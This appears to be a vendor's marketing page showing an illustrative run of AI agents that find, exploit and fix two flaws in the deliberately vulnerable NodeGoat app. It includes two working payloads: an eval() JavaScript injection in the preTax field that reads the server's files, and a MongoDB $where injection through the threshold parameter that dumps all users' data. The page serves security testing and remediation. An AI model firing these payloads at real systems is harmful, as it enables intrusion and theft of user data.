Skip to content

A tax form that runs any JavaScript you type

Duration
6m 05s
Steps
10
Agents
Recon, Triage, Exploit, Fix

Sample runs against public, intentionally vulnerable apps. The vulnerabilities are real; timings and traces are illustrative.

Prompt
Review this repo for anything exploitable. Trace user input end to end and ignore findings in tests and dead code.
  1. 00:03Recon

    Indexed the repository

    $ enforster scan ./NodeGoat --sast --sca
    › Output
    61 source files · Express 4 · MongoDB driver
    58 raw findings from pattern rules
  2. 00:47Triage

    Following request bodies into the contributions handler

    preTax, afterTax and roth come straight from req.body and are passed to eval() in app/routes/contributions.js.

  3. 01:36Exploit

    Confirmed code execution on the running app

    POST /contributions
    preTax=res.end(require('fs').readdirSync('.').toString())
    › Output
    Response body lists the app’s working directory
  4. 01:48TriageVerified

    Verified: server-side JavaScript injection

    Any logged-in user can run arbitrary code as the server process.

  5. 03:10Triage

    Allocations filter is built with $where

    The threshold parameter is concatenated into a MongoDB $where clause in app/data/allocations-dao.js.

  6. 03:34Exploit

    Dumped every user’s allocations

    GET /allocations/2?threshold=1';return 1 == '1
    › Output
    Allocations for all users returned
  7. 03:46TriageVerified

    Verified: NoSQL injection exposes all users’ data

  8. 04:30TriageDismissed

    Dismissed 52 findings

    Unreachable helpers, test fixtures with fake keys, and dependency CVEs whose vulnerable functions are never called.

  9. 05:40Fix

    Replaced eval with parseInt

    - const preTax = eval(req.body.preTax);+ const preTax = parseInt(req.body.preTax, 10);
  10. 06:05Triage

    Run complete: 2 verified, 52 dismissed

What it proved

  • Critical

    Server-side JavaScript injection via eval()

    app/routes/contributions.js

    Proof
    preTax payload reads the server’s file system
    Fix
    Parse numbers with parseInt and validate the range
  • High

    NoSQL injection in allocations threshold

    app/data/allocations-dao.js

    Proof
    threshold payload returns every user’s allocations
    Fix
    Replace $where with a typed query: { stocks: { $gt: Number(threshold) } }
Next runTracking anyone’s car through a mechanic API

A 30-minute demo with zero slides. Bring a repo, a domain or a cloud account and we’ll show you what’s actually exploitable, live.

Book a demo